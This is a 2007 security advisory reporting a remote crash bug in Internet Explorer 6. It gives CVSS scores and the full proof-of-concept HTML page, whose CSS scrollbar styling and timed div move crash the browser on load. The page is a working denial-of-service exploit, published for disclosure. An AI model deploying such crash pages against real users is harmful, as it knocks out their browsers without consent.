IE6 CSS-Crash

2007.10.25
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Hi, the following HTML/JS/CSS-Code crashes IE6 immediately through a combination of: 1. textarea in table in div 2. css:overflow-y:hidden 3. changing the scrollbar-base-color 4. moving the div I think IE tries to move the native OS-scrollbar-widget, which is not in place. If point 3 is removed, the page works fine. ---snip--- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow-y: hidden; scrollbar-base-color: '#330066'; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script> </head> <body onload="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html> ---snap--- -- Andreas Boeckler <abo (at) netlands (dot) de [email concealed]> netlands edv consulting GmbH


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